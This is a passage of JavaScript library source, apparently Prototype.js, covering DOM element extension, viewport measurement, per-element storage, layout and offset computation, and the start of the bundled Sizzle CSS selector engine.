"TEXTAREA": Object.clone(Form.Element.Methods),
"BUTTON": Object.clone(Form.Element.Methods)
});
}
if (arguments.length == 2) {
var tagName = methods;
methods = arguments[1];
}
if (!tagName) Object.extend(Element.Methods, methods || { });
else {
if (Object.isArray(tagName)) tagName.each(extend);
else extend(tagName);
}
function extend(tagName) {
tagName = tagName.toUpperCase();
if (!Element.Methods.ByTag[tagName])
Element.Methods.ByTag[tagName] = { };
Object.extend(Element.Methods.ByTag[tagName], methods);
}
function copy(methods, destination, onlyIfAbsent) {
onlyIfAbsent = onlyIfAbsent || false;
for (var property in methods) {
var value = methods[property];
if (!Object.isFunction(value)) continue;
if (!onlyIfAbsent || !(property in destination))
destination[property] = value.methodize();
}
}
function findDOMClass(tagName) {
var klass;
var trans = {
"OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
"FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
"DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
"H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
"INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
"TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
"TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
"TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
"FrameSet", "IFRAME": "IFrame"
};
if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
if (window[klass]) return window[klass];
klass = 'HTML' + tagName + 'Element';
if (window[klass]) return window[klass];
klass = 'HTML' + tagName.capitalize() + 'Element';
if (window[klass]) return window[klass];
var element = document.createElement(tagName),
proto = element['__proto__'] || element.constructor.prototype;
element = null;
return proto;
}
var elementPrototype = window.HTMLElement ? HTMLElement.prototype :
Element.prototype;
if (F.ElementExtensions) {
copy(Element.Methods, elementPrototype);
copy(Element.Methods.Simulated, elementPrototype, true);
}
if (F.SpecificElementExtensions) {
for (var tag in Element.Methods.ByTag) {
var klass = findDOMClass(tag);
if (Object.isUndefined(klass)) continue;
copy(T[tag], klass.prototype);
}
}
Object.extend(Element, Element.Methods);
delete Element.ByTag;
if (Element.extend.refresh) Element.extend.refresh();
Element.cache = { };
};
document.viewport = {
getDimensions: function() {
return { width: this.getWidth(), height: this.getHeight() };
},
getScrollOffsets: function() {
return Element._returnOffset(
window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft,
window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop);
}
};
(function(viewport) {
var B = Prototype.Browser, doc = document, element, property = {};
function getRootElement() {
if (B.WebKit && !doc.evaluate)
return document;
if (B.Opera && window.parseFloat(window.opera.version()) < 9.5)
return document.body;
return document.documentElement;
}
function define(D) {
if (!element) element = getRootElement();
property[D] = 'client' + D;
viewport['get' + D] = function() { return element[property[D]] };
return viewport['get' + D]();
}
viewport.getWidth = define.curry('Width');
viewport.getHeight = define.curry('Height');
})(document.viewport);
Element.Storage = {
UID: 1
};
Element.addMethods({
getStorage: function(element) {
if (!(element = $(element))) return;
var uid;
if (element === window) {
uid = 0;
} else {
if (typeof element._prototypeUID === "undefined")
element._prototypeUID = Element.Storage.UID++;
uid = element._prototypeUID;
}
if (!Element.Storage[uid])
Element.Storage[uid] = $H();
return Element.Storage[uid];
},
store: function(element, key, value) {
if (!(element = $(element))) return;
if (arguments.length === 2) {
Element.getStorage(element).update(key);
} else {
Element.getStorage(element).set(key, value);
}
return element;
},
retrieve: function(element, key, defaultValue) {
if (!(element = $(element))) return;
var hash = Element.getStorage(element), value = hash.get(key);
if (Object.isUndefined(value)) {
hash.set(key, defaultValue);
value = defaultValue;
}
return value;
},
clone: function(element, deep) {
if (!(element = $(element))) return;
var clone = element.cloneNode(deep);
clone._prototypeUID = void 0;
if (deep) {
var descendants = Element.select(clone, '*'),
i = descendants.length;
while (i--) {
descendants[i]._prototypeUID = void 0;
}
}
return Element.extend(clone);
},
purge: function(element) {
if (!(element = $(element))) return;
var purgeElement = Element._purgeElement;
purgeElement(element);
var descendants = element.getElementsByTagName('*'),
i = descendants.length;
while (i--) purgeElement(descendants[i]);
return null;
}
});
(function() {
function toDecimal(pctString) {
var match = pctString.match(/^(\d+)%?$/i);
if (!match) return null;
return (Number(match[1]) / 100);
}
function getPixelValue(value, property, context) {
var element = null;
if (Object.isElement(value)) {
element = value;
value = element.getStyle(property);
}
if (value === null) {
return null;
}
if ((/^(?:-)?\d+(\.\d+)?(px)?$/i).test(value)) {
return window.parseFloat(value);
}
var isPercentage = value.include('%'), isViewport = (context === document.viewport);
if (/\d/.test(value) && element && element.runtimeStyle && !(isPercentage && isViewport)) {
var style = element.style.left, rStyle = element.runtimeStyle.left;
element.runtimeStyle.left = element.currentStyle.left;
element.style.left = value || 0;
value = element.style.pixelLeft;
element.style.left = style;
element.runtimeStyle.left = rStyle;
return value;
}
if (element && isPercentage) {
context = context || element.parentNode;
var decimal = toDecimal(value);
var whole = null;
var position = element.getStyle('position');
var isHorizontal = property.include('left') || property.include('right') ||
property.include('width');
var isVertical = property.include('top') || property.include('bottom') ||
property.include('height');
if (context === document.viewport) {
if (isHorizontal) {
whole = document.viewport.getWidth();
} else if (isVertical) {
whole = document.viewport.getHeight();
}
} else {
if (isHorizontal) {
whole = $(context).measure('width');
} else if (isVertical) {
whole = $(context).measure('height');
}
}
return (whole === null) ? 0 : whole * decimal;
}
return 0;
}
function toCSSPixels(number) {
if (Object.isString(number) && number.endsWith('px')) {
return number;
}
return number + 'px';
}
function isDisplayed(element) {
var originalElement = element;
while (element && element.parentNode) {
var display = element.getStyle('display');
if (display === 'none') {
return false;
}
element = $(element.parentNode);
}
return true;
}
var hasLayout = Prototype.K;
if ('currentStyle' in document.documentElement) {
hasLayout = function(element) {
if (!element.currentStyle.hasLayout) {
element.style.zoom = 1;
}
return element;
};
}
function cssNameFor(key) {
if (key.include('border')) key = key + '-width';
return key.camelize();
}
Element.Layout = Class.create(Hash, {
initialize: function($super, element, preCompute) {
$super();
this.element = $(element);
Element.Layout.PROPERTIES.each( function(property) {
this._set(property, null);
}, this);
if (preCompute) {
this._preComputing = true;
this._begin();
Element.Layout.PROPERTIES.each( this._compute, this );
this._end();
this._preComputing = false;
}
},
_set: function(property, value) {
return Hash.prototype.set.call(this, property, value);
},
set: function(property, value) {
throw "Properties of Element.Layout are read-only.";
},
get: function($super, property) {
var value = $super(property);
return value === null ? this._compute(property) : value;
},
_begin: function() {
if (this._prepared) return;
var element = this.element;
if (isDisplayed(element)) {
this._prepared = true;
return;
}
var originalStyles = {
position: element.style.position || '',
width: element.style.width || '',
visibility: element.style.visibility || '',
display: element.style.display || ''
};
element.store('prototype_original_styles', originalStyles);
var position = element.getStyle('position'),
width = element.getStyle('width');
if (width === "0px" || width === null) {
element.style.display = 'block';
width = element.getStyle('width');
}
var context = (position === 'fixed') ? document.viewport :
element.parentNode;
element.setStyle({
position: 'absolute',
visibility: 'hidden',
display: 'block'
});
var positionedWidth = element.getStyle('width');
var newWidth;
if (width && (positionedWidth === width)) {
newWidth = getPixelValue(element, 'width', context);
} else if (position === 'absolute' || position === 'fixed') {
newWidth = getPixelValue(element, 'width', context);
} else {
var parent = element.parentNode, pLayout = $(parent).getLayout();
newWidth = pLayout.get('width') -
this.get('margin-left') -
this.get('border-left') -
this.get('padding-left') -
this.get('padding-right') -
this.get('border-right') -
this.get('margin-right');
}
element.setStyle({ width: newWidth + 'px' });
this._prepared = true;
},
_end: function() {
var element = this.element;
var originalStyles = element.retrieve('prototype_original_styles');
element.store('prototype_original_styles', null);
element.setStyle(originalStyles);
this._prepared = false;
},
_compute: function(property) {
var COMPUTATIONS = Element.Layout.COMPUTATIONS;
if (!(property in COMPUTATIONS)) {
throw "Property not found.";
}
return this._set(property, COMPUTATIONS[property].call(this, this.element));
},
toObject: function() {
var args = $A(arguments);
var keys = (args.length === 0) ? Element.Layout.PROPERTIES :
args.join(' ').split(' ');
var obj = {};
keys.each( function(key) {
if (!Element.Layout.PROPERTIES.include(key)) return;
var value = this.get(key);
if (value != null) obj[key] = value;
}, this);
return obj;
},
toHash: function() {
var obj = this.toObject.apply(this, arguments);
return new Hash(obj);
},
toCSS: function() {
var args = $A(arguments);
var keys = (args.length === 0) ? Element.Layout.PROPERTIES :
args.join(' ').split(' ');
var css = {};
keys.each( function(key) {
if (!Element.Layout.PROPERTIES.include(key)) return;
if (Element.Layout.COMPOSITE_PROPERTIES.include(key)) return;
var value = this.get(key);
if (value != null) css[cssNameFor(key)] = value + 'px';
}, this);
return css;
},
inspect: function() {
return "#<Element.Layout>";
}
});
Object.extend(Element.Layout, {
PROPERTIES: $w('height width top left right bottom border-left border-right border-top border-bottom padding-left padding-right padding-top padding-bottom margin-top margin-bottom margin-left margin-right padding-box-width padding-box-height border-box-width border-box-height margin-box-width margin-box-height'),
COMPOSITE_PROPERTIES: $w('padding-box-width padding-box-height margin-box-width margin-box-height border-box-width border-box-height'),
COMPUTATIONS: {
'height': function(element) {
if (!this._preComputing) this._begin();
var bHeight = this.get('border-box-height');
if (bHeight <= 0) {
if (!this._preComputing) this._end();
return 0;
}
var bTop = this.get('border-top'),
bBottom = this.get('border-bottom');
var pTop = this.get('padding-top'),
pBottom = this.get('padding-bottom');
if (!this._preComputing) this._end();
return bHeight - bTop - bBottom - pTop - pBottom;
},
'width': function(element) {
if (!this._preComputing) this._begin();
var bWidth = this.get('border-box-width');
if (bWidth <= 0) {
if (!this._preComputing) this._end();
return 0;
}
var bLeft = this.get('border-left'),
bRight = this.get('border-right');
var pLeft = this.get('padding-left'),
pRight = this.get('padding-right');
if (!this._preComputing) this._end();
return bWidth - bLeft - bRight - pLeft - pRight;
},
'padding-box-height': function(element) {
var height = this.get('height'),
pTop = this.get('padding-top'),
pBottom = this.get('padding-bottom');
return height + pTop + pBottom;
},
'padding-box-width': function(element) {
var width = this.get('width'),
pLeft = this.get('padding-left'),
pRight = this.get('padding-right');
return width + pLeft + pRight;
},
'border-box-height': function(element) {
if (!this._preComputing) this._begin();
var height = element.offsetHeight;
if (!this._preComputing) this._end();
return height;
},
'border-box-width': function(element) {
if (!this._preComputing) this._begin();
var width = element.offsetWidth;
if (!this._preComputing) this._end();
return width;
},
'margin-box-height': function(element) {
var bHeight = this.get('border-box-height'),
mTop = this.get('margin-top'),
mBottom = this.get('margin-bottom');
if (bHeight <= 0) return 0;
return bHeight + mTop + mBottom;
},
'margin-box-width': function(element) {
var bWidth = this.get('border-box-width'),
mLeft = this.get('margin-left'),
mRight = this.get('margin-right');
if (bWidth <= 0) return 0;
return bWidth + mLeft + mRight;
},
'top': function(element) {
var offset = element.positionedOffset();
return offset.top;
},
'bottom': function(element) {
var offset = element.positionedOffset(),
parent = element.getOffsetParent(),
pHeight = parent.measure('height');
var mHeight = this.get('border-box-height');
return pHeight - mHeight - offset.top;
},
'left': function(element) {
var offset = element.positionedOffset();
return offset.left;
},
'right': function(element) {
var offset = element.positionedOffset(),
parent = element.getOffsetParent(),
pWidth = parent.measure('width');
var mWidth = this.get('border-box-width');
return pWidth - mWidth - offset.left;
},
'padding-top': function(element) {
return getPixelValue(element, 'paddingTop');
},
'padding-bottom': function(element) {
return getPixelValue(element, 'paddingBottom');
},
'padding-left': function(element) {
return getPixelValue(element, 'paddingLeft');
},
'padding-right': function(element) {
return getPixelValue(element, 'paddingRight');
},
'border-top': function(element) {
return getPixelValue(element, 'borderTopWidth');
},
'border-bottom': function(element) {
return getPixelValue(element, 'borderBottomWidth');
},
'border-left': function(element) {
return getPixelValue(element, 'borderLeftWidth');
},
'border-right': function(element) {
return getPixelValue(element, 'borderRightWidth');
},
'margin-top': function(element) {
return getPixelValue(element, 'marginTop');
},
'margin-bottom': function(element) {
return getPixelValue(element, 'marginBottom');
},
'margin-left': function(element) {
return getPixelValue(element, 'marginLeft');
},
'margin-right': function(element) {
return getPixelValue(element, 'marginRight');
}
}
});
if ('getBoundingClientRect' in document.documentElement) {
Object.extend(Element.Layout.COMPUTATIONS, {
'right': function(element) {
var parent = hasLayout(element.getOffsetParent());
var rect = element.getBoundingClientRect(),
pRect = parent.getBoundingClientRect();
return (pRect.right - rect.right).round();
},
'bottom': function(element) {
var parent = hasLayout(element.getOffsetParent());
var rect = element.getBoundingClientRect(),
pRect = parent.getBoundingClientRect();
return (pRect.bottom - rect.bottom).round();
}
});
}
Element.Offset = Class.create({
initialize: function(left, top) {
this.left = left.round();
this.top = top.round();
this[0] = this.left;
this[1] = this.top;
},
relativeTo: function(offset) {
return new Element.Offset(
this.left - offset.left,
this.top - offset.top
);
},
inspect: function() {
return "#<Element.Offset left: #{left} top: #{top}>".interpolate(this);
},
toString: function() {
return "[#{left}, #{top}]".interpolate(this);
},
toArray: function() {
return [this.left, this.top];
}
});
function getLayout(element, preCompute) {
return new Element.Layout(element, preCompute);
}
function measure(element, property) {
return $(element).getLayout().get(property);
}
function getDimensions(element) {
element = $(element);
var display = Element.getStyle(element, 'display');
if (display && display !== 'none') {
return { width: element.offsetWidth, height: element.offsetHeight };
}
var style = element.style;
var originalStyles = {
visibility: style.visibility,
position: style.position,
display: style.display
};
var newStyles = {
visibility: 'hidden',
display: 'block'
};
if (originalStyles.position !== 'fixed')
newStyles.position = 'absolute';
Element.setStyle(element, newStyles);
var dimensions = {
width: element.offsetWidth,
height: element.offsetHeight
};
Element.setStyle(element, originalStyles);
return dimensions;
}
function getOffsetParent(element) {
element = $(element);
if (isDocument(element) || isDetached(element) || isBody(element) || isHtml(element))
return $(document.body);
var isInline = (Element.getStyle(element, 'display') === 'inline');
if (!isInline && element.offsetParent) return $(element.offsetParent);
while ((element = element.parentNode) && element !== document.body) {
if (Element.getStyle(element, 'position') !== 'static') {
return isHtml(element) ? $(document.body) : $(element);
}
}
return $(document.body);
}
function cumulativeOffset(element) {
element = $(element);
var valueT = 0, valueL = 0;
if (element.parentNode) {
do {
valueT += element.offsetTop || 0;
valueL += element.offsetLeft || 0;
element = element.offsetParent;
} while (element);
}
return new Element.Offset(valueL, valueT);
}
function positionedOffset(element) {
element = $(element);
var layout = element.getLayout();
var valueT = 0, valueL = 0;
do {
valueT += element.offsetTop || 0;
valueL += element.offsetLeft || 0;
element = element.offsetParent;
if (element) {
if (isBody(element)) break;
var p = Element.getStyle(element, 'position');
if (p !== 'static') break;
}
} while (element);
valueL -= layout.get('margin-top');
valueT -= layout.get('margin-left');
return new Element.Offset(valueL, valueT);
}
function cumulativeScrollOffset(element) {
var valueT = 0, valueL = 0;
do {
valueT += element.scrollTop || 0;
valueL += element.scrollLeft || 0;
element = element.parentNode;
} while (element);
return new Element.Offset(valueL, valueT);
}
function viewportOffset(forElement) {
element = $(element);
var valueT = 0, valueL = 0, docBody = document.body;
var element = forElement;
do {
valueT += element.offsetTop || 0;
valueL += element.offsetLeft || 0;
if (element.offsetParent == docBody &&
Element.getStyle(element, 'position') == 'absolute') break;
} while (element = element.offsetParent);
element = forElement;
do {
if (element != docBody) {
valueT -= element.scrollTop || 0;
valueL -= element.scrollLeft || 0;
}
} while (element = element.parentNode);
return new Element.Offset(valueL, valueT);
}
function absolutize(element) {
element = $(element);
if (Element.getStyle(element, 'position') === 'absolute') {
return element;
}
var offsetParent = getOffsetParent(element);
var eOffset = element.viewportOffset(),
pOffset = offsetParent.viewportOffset();
var offset = eOffset.relativeTo(pOffset);
var layout = element.getLayout();
element.store('prototype_absolutize_original_styles', {
left: element.getStyle('left'),
top: element.getStyle('top'),
width: element.getStyle('width'),
height: element.getStyle('height')
});
element.setStyle({
position: 'absolute',
top: offset.top + 'px',
left: offset.left + 'px',
width: layout.get('width') + 'px',
height: layout.get('height') + 'px'
});
return element;
}
function relativize(element) {
element = $(element);
if (Element.getStyle(element, 'position') === 'relative') {
return element;
}
var originalStyles =
element.retrieve('prototype_absolutize_original_styles');
if (originalStyles) element.setStyle(originalStyles);
return element;
}
if (Prototype.Browser.IE) {
getOffsetParent = getOffsetParent.wrap(
function(proceed, element) {
element = $(element);
if (isDocument(element) || isDetached(element) || isBody(element) || isHtml(element))
return $(document.body);
var position = element.getStyle('position');
if (position !== 'static') return proceed(element);
element.setStyle({ position: 'relative' });
var value = proceed(element);
element.setStyle({ position: position });
return value;
}
);
positionedOffset = positionedOffset.wrap(function(proceed, element) {
element = $(element);
if (!element.parentNode) return new Element.Offset(0, 0);
var position = element.getStyle('position');
if (position !== 'static') return proceed(element);
var offsetParent = element.getOffsetParent();
if (offsetParent && offsetParent.getStyle('position') === 'fixed')
hasLayout(offsetParent);
element.setStyle({ position: 'relative' });
var value = proceed(element);
element.setStyle({ position: position });
return value;
});
} else if (Prototype.Browser.Webkit) {
cumulativeOffset = function(element) {
element = $(element);
var valueT = 0, valueL = 0;
do {
valueT += element.offsetTop || 0;
valueL += element.offsetLeft || 0;
if (element.offsetParent == document.body)
if (Element.getStyle(element, 'position') == 'absolute') break;
element = element.offsetParent;
} while (element);
return new Element.Offset(valueL, valueT);
};
}
Element.addMethods({
getLayout: getLayout,
measure: measure,
getDimensions: getDimensions,
getOffsetParent: getOffsetParent,
cumulativeOffset: cumulativeOffset,
positionedOffset: positionedOffset,
cumulativeScrollOffset: cumulativeScrollOffset,
viewportOffset: viewportOffset,
absolutize: absolutize,
relativize: relativize
});
function isBody(element) {
return element.nodeName.toUpperCase() === 'BODY';
}
function isHtml(element) {
return element.nodeName.toUpperCase() === 'HTML';
}
function isDocument(element) {
return element.nodeType === Node.DOCUMENT_NODE;
}
function isDetached(element) {
return element !== document.body &&
!Element.descendantOf(element, document.body);
}
if ('getBoundingClientRect' in document.documentElement) {
Element.addMethods({
viewportOffset: function(element) {
element = $(element);
if (isDetached(element)) return new Element.Offset(0, 0);
var rect = element.getBoundingClientRect(),
docEl = document.documentElement;
return new Element.Offset(rect.left - docEl.clientLeft,
rect.top - docEl.clientTop);
}
});
}
})();
window.$$ = function() {
var expression = $A(arguments).join(', ');
return Prototype.Selector.select(expression, document);
};
Prototype.Selector = (function() {
function select() {
throw new Error('Method "Prototype.Selector.select" must be defined.');
}
function match() {
throw new Error('Method "Prototype.Selector.match" must be defined.');
}
function find(elements, expression, index) {
index = index || 0;
var match = Prototype.Selector.match, length = elements.length, matchIndex = 0, i;
for (i = 0; i < length; i++) {
if (match(elements[i], expression) && index == matchIndex++) {
return Element.extend(elements[i]);
}
}
}
function extendElements(elements) {
for (var i = 0, length = elements.length; i < length; i++) {
Element.extend(elements[i]);
}
return elements;
}
var K = Prototype.K;
return {
select: select,
match: match,
find: find,
extendElements: (Element.extend === K) ? K : extendElements,
extendElement: Element.extend
};
})();
Prototype._original_property = window.Sizzle;
/*!
* Sizzle CSS Selector Engine - v1.0
* Copyright 2009, The Dojo Foundation
* Released under the MIT, BSD, and GPL Licenses.
* More information: http://sizzlejs.com/
*/
(function(){
var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
done = 0,
toString = Object.prototype.toString,
hasDuplicate = false,
baseHasDuplicate = true;
[0, 0].sort(function(){
baseHasDuplicate = false;
return 0;
});
var Sizzle = function(selector, context, results, seed) {
results = results || [];
var origContext = context = context || document;
if ( context.nodeType !== 1 && context.nodeType !== 9 ) {
return [];
}
if ( !selector || typeof selector !== "string" ) {
return results;
}
var parts = [], m, set, checkSet, check, mode, extra, prune = true, contextXML = isXML(context),
soFar = selector;
while ( (chunker.exec(""), m = chunker.exec(soFar)) !== null ) {
soFar = m[3];
parts.push( m[1] );
if ( m[2] ) {
extra = m[3];
break;
}
}
if ( parts.length > 1 && origPOS.exec( selector ) ) {
if ( parts.length === 2 && Expr.relative[ parts[0] ] ) {
set = posProcess( parts[0] + parts[1], context );
} else {
set = Expr.relative[ parts[0] ] ?
[ context ] :
Sizzle( parts.shift(), context );
while ( parts.length ) {
selector = parts.shift();
if ( Expr.relative[ selector ] )
selector += parts.shift();
set = posProcess( selector, set );
}
}
} else {
if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&
Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {
var ret = Sizzle.find( parts.shift(), context, contextXML );
context = ret.expr ? Sizzle.filter( ret.expr, ret.set )[0] : ret.set[0];
}
if ( context ) {
var ret = seed ?
{ expr: parts.pop(), set: makeArray(seed) } :
Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML );
set = ret.expr ? Sizzle.filter( ret.expr, ret.set ) : ret.set;
if ( parts.length > 0 ) {
checkSet = makeArray(set);
} else {
prune = false;
}
while ( parts.length ) {
var cur = parts.pop(), pop = cur;
if ( !Expr.relative[ cur ] ) {
cur = "";
} else {
pop = parts.pop();
}
if ( pop == null ) {
pop = context;
}
Expr.relative[ cur ]( checkSet, pop, contextXML );
}
} else {
checkSet = parts = [];
}
}
if ( !checkSet ) {
checkSet = set;
}
if ( !checkSet ) {
throw "Syntax error, unrecognized expression: " + (cur || selector);
}
if ( toString.call(checkSet) === "[object Array]" ) {
if ( !prune ) {
results.push.apply( results, checkSet );
} else if ( context && context.nodeType === 1 ) {
for ( var i = 0; checkSet[i] != null; i++ ) {
if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && contains(context, checkSet[i])) ) {
results.push( set[i] );
}
}
} else {
for ( var i = 0; checkSet[i] != null; i++ ) {
if ( checkSet[i] && checkSet[i].nodeType === 1 ) {
results.push( set[i] );
}
}
}
} else {
makeArray( checkSet, results );
}
if ( extra ) {
Sizzle( extra, origContext, results, seed );
Sizzle.uniqueSort( results );
}
return results;
};
Sizzle.uniqueSort = function(results){
if ( sortOrder ) {
hasDuplicate = baseHasDuplicate;
results.sort(sortOrder);
if ( hasDuplicate ) {
for ( var i = 1; i < results.length; i++ ) {
if ( results[i] === results[i-1] ) {
results.splice(i--, 1);
}
}
}
}
return results;
};
Sizzle.matches = function(expr, set){
return Sizzle(expr, null, null, set);
};
Sizzle.find = function(expr, context, isXML){
var set, match;
if ( !expr ) {
return [];
}
for ( var i = 0, l = Expr.order.length; i < l; i++ ) {
var type = Expr.order[i], match;
if ( (match = Expr.leftMatch[ type ].exec( expr )) ) {
var left = match[1];
match.splice(1,1);
if ( left.substr( left.length - 1 ) !== "\\" ) {
match[1] = (match[1] || "").replace(/\\/g, "");
set = Expr.find[ type ]( match, context, isXML );
if ( set != null ) {
expr = expr.replace( Expr.match[ type ], "" );
break;
}
}
}
}
if ( !set ) {
set = context.getElementsByTagName("*");
}
return {set: set, expr: expr};
};
Sizzle.filter = function(expr, set, inplace, not){
var old = expr, result = [], curLoop = set, match, anyFound,
isXMLFilter = set && set[0] && isXML(set[0]);
while ( expr && set.length ) {
for ( var type in Expr.filter ) {
if ( (match = Expr.match[ type ].exec( expr )) != null ) {
var filter = Expr.filter[ type ], found, item;
anyFound = false;
if ( curLoop == result ) {
result = [];
}
if ( Expr.preFilter[ type ] ) {
match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );
if ( !match ) {
anyFound = found = true;
} else if ( match === true ) {
continue;
}
}
if ( match ) {
for ( var i = 0; (item = curLoop[i]) != null; i++ ) {
if ( item ) {
found = filter( item, match, i, curLoop );
var pass = not ^ !!found;
if ( inplace && found != null ) {
if ( pass ) {
anyFound = true;
} else {
curLoop[i] = false;
}
} else if ( pass ) {
result.push( item );
anyFound = true;
}
}
}
}
if ( found !== undefined ) {
if ( !inplace ) {
curLoop = result;
}
expr = expr.replace( Expr.match[ type ], "" );
if ( !anyFound ) {
return [];
}
break;
}
}
}
if ( expr == old ) {
if ( anyFound == null ) {
throw "Syntax error, unrecognized expression: " + expr;
} else {
break;
}
}
old = expr;
}
return curLoop;
};
var Expr = Sizzle.selectors = {
order: [ "ID", "NAME", "TAG" ],
match: {
ID: /#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,
CLASS: /\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,
NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,
ATTR: /\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
TAG: /^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,
CHILD: /:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,
POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,
PSEUDO: /:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/
},
leftMatch: {},
attrMap: {
"class": "className",
"for": "htmlFor"
},
attrHandle: {
href: function(elem){
return elem.getAttribute("href");
}
},
relative: {
"+": function(checkSet, part, isXML){
var isPartStr = typeof part === "string",
isTag = isPartStr && !/\W/.test(part),
isPartStrNotTag = isPartStr && !isTag;
if ( isTag && !isXML ) {
part = part.toUpperCase();
}
for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {
if ( (elem = checkSet[i]) ) {
while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}
checkSet[i] = isPartStrNotTag || elem && elem.nodeName === part ?
elem || false :
elem === part;
}
}
if ( isPartStrNotTag ) {
Sizzle.filter( part, checkSet, true );
}
},
">": function(checkSet, part, isXML){
var isPartStr = typeof part === "string";
if ( isPartStr && !/\W/.test(part) ) {
part = isXML ? part : part.toUpperCase();
for ( var i = 0, l = checkSet.length; i < l; i++ ) {
var elem = checkSet[i];
if ( elem ) {
var parent = elem.parentNode;
checkSet[i] = parent.nodeName === part ? parent : false;
}
}
} else {
for ( var i = 0, l = checkSet.length; i < l; i++ ) {
var elem = checkSet[i];
if ( elem ) {
checkSet[i] = isPartStr ?
elem.parentNode :
elem.parentNode === part;
}
}
if ( isPartStr ) {
Sizzle.filter( part, checkSet, true );
}
}
},
"": function(checkSet, part, isXML){
var doneName = done++, checkFn = dirCheck;
if ( !/\W/.test(part) ) {
var nodeCheck = part = isXML ? part : part.toUpperCase();
checkFn = dirNodeCheck;
}
checkFn("parentNode", part, doneName, checkSet, nodeCheck, isXML);
},
"~": function(checkSet, part, isXML){
var doneName = done++, checkFn = dirCheck;
if ( typeof part === "string" && !/\W/.test(part) ) {
var nodeCheck = part = isXML ? part : part.toUpperCase();
checkFn = dirNodeCheck;
}
checkFn("previousSibling", part, doneName, checkSet, nodeCheck, isXML);
}
},
find: {
ID: function(match, context, isXML){
if ( typeof context.getElementById !== "undefined" && !isXML ) {
var m = context.getElementById(match[1]);
return m ? [m] : [];
}
},
NAME: function(match, context, isXML){
if ( typeof context.getElementsByName !== "undefined" ) {
var ret = [], results = context.getElementsByName(match[1]);
for ( var i = 0, l = results.length; i < l; i++ ) {
if ( results[i].getAttribute("name") === match[1] ) {
ret.push( results[i] );
}
}
return ret.length === 0 ? null : ret;
}
},
TAG: function(match, context){
return context.getElementsByTagName(match[1]);
}
},
preFilter: {
CLASS: function(match, curLoop, inplace, result, not, isXML){
match = " " + match[1].replace(/\\/g, "") + " ";
if ( isXML ) {
return match;
}
for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {
if ( elem ) {
if ( not ^ (elem.className && (" " + elem.className + " ").indexOf(match) >= 0) ) {
if ( !inplace )
result.push( elem );
} else if ( inplace ) {
curLoop[i] = false;
}
}
}
return false;
},
ID: function(match){
return match[1].replace(/\\/g, "");
},
TAG: function(match, curLoop){
for ( var i = 0; curLoop[i] === false; i++ ){}
return curLoop[i] && isXML(curLoop[i]) ? match[1] : match[1].toUpperCase();
},
CHILD: function(match){
if ( match[1] == "nth" ) {
var test = /(-?)(\d*)n((?:\+|-)?\d*)/.exec(
match[2] == "even" && "2n" || match[2] == "odd" && "2n+1" ||
!/\D/.test( match[2] ) && "0n+" + match[2] || match[2]);
match[2] = (test[1] + (test[2] || 1)) - 0;
match[3] = test[3] - 0;
}
match[0] = done++;
return match;
},
ATTR: function(match, curLoop, inplace, result, not, isXML){
var name = match[1].replace(/\\/g, "");
if ( !isXML && Expr.attrMap[name] ) {
match[1] = Expr.attrMap[name];
}
if ( match[2] === "~=" ) {
match[4] = " " + match[4] + " ";
}
return match;
},
PSEUDO: function(match, curLoop, inplace, result, not){
if ( match[1] === "not" ) {
if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) {
match[3] = Sizzle(match[3], null, null, curLoop);
} else {
var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
if ( !inplace ) {
result.push.apply( result, ret );
}
return false;
}
} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {
return true;
}
return match;
},
POS: function(match){
match.unshift( true );
return match;
}
},
filters: {
enabled: function(elem){
return elem.disabled === false && elem.type !== "hidden";
},
disabled: function(elem){
return elem.disabled === true;
},
checked: function(elem){
return elem.checked === true;
},
selected: function(elem){
elem.parentNode.selectedIndex;
return elem.selected === true;
},
parent: function(elem){
return !!elem.firstChild;
},
empty: function(elem){
return !elem.firstChild;
},
has: function(elem, i, match){
return !!Sizzle( match[3], elem ).length;
},
header: function(elem){
return /h\d/i.test( elem.nodeName );
},
text: function(elem){
return "text" === elem.type;
},
radio: function(elem){
return "radio" === elem.type;
},
checkbox: function(elem){
return "checkbox" === elem.type;
},
file: function(elem){
return "file" === elem.type;
},
password: function(elem){
return "password" === elem.type;
},
submit: function(elem){
return "submit" === elem.type;
},
image: function(elem){
return "image" === elem.type;
},
reset: function(elem){
return "reset" === elem.type;
},
